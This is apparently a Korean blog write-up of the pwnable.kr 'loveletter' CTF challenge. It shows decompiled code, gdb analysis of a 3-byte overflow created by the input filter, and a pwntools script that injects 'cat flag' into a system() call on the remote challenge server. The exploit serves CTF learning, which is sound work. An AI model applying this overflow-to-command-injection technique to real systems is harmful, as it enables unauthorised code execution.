본문 바로가기
시스템 해킹/pwnable.kr

[Pwnable.kr] loveletter

by L3m0n S0ju 2021. 8. 13.


unsigned int __cdecl protect(const char *a1)
{
  size_t v1; // ebx
  size_t v2; // eax
  size_t i; // [esp+1Ch] [ebp-12Ch]
  size_t j; // [esp+20h] [ebp-128h]
  char v6[279]; // [esp+25h] [ebp-123h] BYREF
  unsigned int v7; // [esp+13Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  strcpy(v6, "#&;`'\"|*?~<>^()[]{}$\\,");
  for ( i = 0; i < strlen(a1); ++i )
  {
    for ( j = 0; j < strlen(v6); ++j )
    {
      if ( a1[i] == v6[j] )
      {
        strcpy(&v6[23], &a1[i + 1]);
        *(_DWORD *)&a1[i] = 0xA599E2;
        v1 = strlen(&v6[23]);
        v2 = strlen(a1);
        memcpy((void *)&a1[v2], &v6[23], v1);
      }
    }
  }
  return __readgsdword(0x14u) ^ v7;
}

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+Fh] [ebp-115h]
  char s[256]; // [esp+10h] [ebp-114h] BYREF
  size_t v6; // [esp+110h] [ebp-14h]
  size_t v7; // [esp+114h] [ebp-10h]
  size_t v8; // [esp+118h] [ebp-Ch]
  unsigned int v9; // [esp+11Ch] [ebp-8h]

  v4 = HIBYTE(argv);
  v9 = __readgsdword(0x14u);
  memset(loveletter, 0, sizeof(loveletter));
  v7 = strlen(epilog);
  v6 = strlen(prolog);
  printf(&format);
  fgets(s, 256, stdin);
  if ( s[strlen(s) - 1] == 10 )                 // 마지막 개행문자 NULL문자로 바꿈
    s[strlen(s) - 1] = 0;
  puts(&::s);                                   // ♥ Whatever happens, I'll protect her...
  protect(s);
  v8 = strlen(s);
  puts(&byte_8048A50);                          // ♥ Impress her upon my memory...
  memcpy((void *)((unsigned __int16)idx + 0x804A0A0), prolog, v6);// echo I love
  idx += v6;
  memcpy((void *)((unsigned __int16)idx + 0x804A0A0), s, v8);
  idx += v8;
  memcpy((void *)((unsigned __int16)idx + 0x804A0A0), epilog, v7);// very much!
  idx += v7;
  puts(&byte_8048A74);                        // ♥ Her name echos in my mind...
  return system(loveletter);               // loveletter: 0x804a0a0 -> echo I love "입력값" very much!
}

 


위 코드는 IDA로 파일을 분석한 코드입니다. 파일을 실행하면 fgets를 통해 s에 256 크기만큼 문자열을 입력받습니다. protect에서 입력값을 필터링하고 memcpy로 echo I love "입력값" very much! 라는 문자열을 생성하여 0x804a0a0에 저장하는데 gdb로 확인하면 해당 주소는 loveletter 변수입니다. 마지막으로 loveletter 문자열을 system함수의 인자로 넣습니다.

 

 

 

 

 

 


  strcpy(v6, "#&;`'\"|*?~<>^()[]{}$\\,");
  for ( i = 0; i < strlen(a1); ++i )
  {
    for ( j = 0; j < strlen(v6); ++j )
    {
      if ( a1[i] == v6[j] )
      {
        strcpy(&v6[23], &a1[i + 1]);
        *(_DWORD *)&a1[i] = 0xA599E2;
        v1 = strlen(&v6[23]);
        v2 = strlen(a1);
        memcpy((void *)&a1[v2], &v6[23], v1);
      }
    }
  }

 

위 코드는 protect 함수의 일부입니다. a1은 입력값이고 v6에는 특수문자가 저장됩니다. 만약 입력값에 지정된 특수문자가 포함되면 입력값의 특수문자가 저장된 위치에 _DWORD 형으로 0xA599E2라는 값을 저장합니다. 이때 _DWORD는 int형 또는 unsigned int형으로 4바이트 단위입니다. 따라서 입력값의 마지막에 특수문자가 지정되는 경우 256바이트를 넘어서 3바이트가 오버플로우가 일어난다.

 

 

 

 


gdb로 입력값이 저장되는 주소를 확인하면 0xffffd410에 저장된다. 현재 256바이트에 추가적으로 3바이트를 덮어씌울 수 있으므로 256바이트를 더한값 0xffffd510을 살펴보면 3바이트 범위내에 c라는 값이 존재한다. c와 b가 나란히 존재하는데 c는 "echo I love "의 길이 12를 나타내고 b는 "very much! "의 길이 11을 나타냄을 추측할 수 있다. c와 b는 각각 memcpy에서 얼마만큼의 문자열을 복사할지 나타내는 v6, v7이다.

 

 

 

 

 

 


 

 memcpy((void *)((unsigned __int16)idx + 0x804A0A0), prolog, v6);// echo I love
 idx += v6;
 memcpy((void *)((unsigned __int16)idx + 0x804A0A0), s, v8);
 idx += v8;
 memcpy((void *)((unsigned __int16)idx + 0x804A0A0), epilog, v7);// very much!
 idx += v7;

 

gdb로 천천히 분석해보면 0xffffd510에 있는 c의 존래르 파악할 수 있습니다. memcpy가 끝난 뒤 [esp+0x110]이 가르키는 값을 eax에 저장하는데 esp+0x110을 확인하면 0xffffd510임을 알 수 있고 즉 idx에 0xffff510이 가르키는 0xc 값이 저장되고 두번째 memcpy에서 idx+0x804A0A0에 s를 복사합니다. 0x840A0A0은 loveletter의 시작주소이므로 [0xc + loveletter의 시작주소]에 입력값이 저장됩니다.

 

 

 

 


0xffffd510의 c는 오버플로우를 이용하면 다른 값으로 덮어씌울 수 있습니다. 만약 특수문자를 입력하면 그 자리에 0xA599E2 값이 저장되는데 4바이트 단위이므로 0x00A599E2가 저장되므로 만약 254번째에 특수문자를 입력하면 아래와 같이 값이 메모리에 저장됩니다.

 

254   255  256 257

| E2  |  99 | A5 | 00 |

 

 

 


from pwn import*

context.log_level='debug'
p = remote("pwnable.krl",9034)

payload = "cat flag " # 크기 9
payload += "a"*244  # 크기 9 + 244 = 253 
payload += "?" # 254번째
p.sendline(payload)
p.interactive()
               

 

 


플래그

'시스템 해킹 > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] otp  (0) 2021.08.21
[Pwnable.kr] brain fuck  (0) 2021.08.21
[Pwnable.kr] dragon  (0) 2021.08.13
[Pwnable.kr] echo1  (0) 2021.08.08
[Pwnable.kr] fsb  (0) 2021.08.07

댓글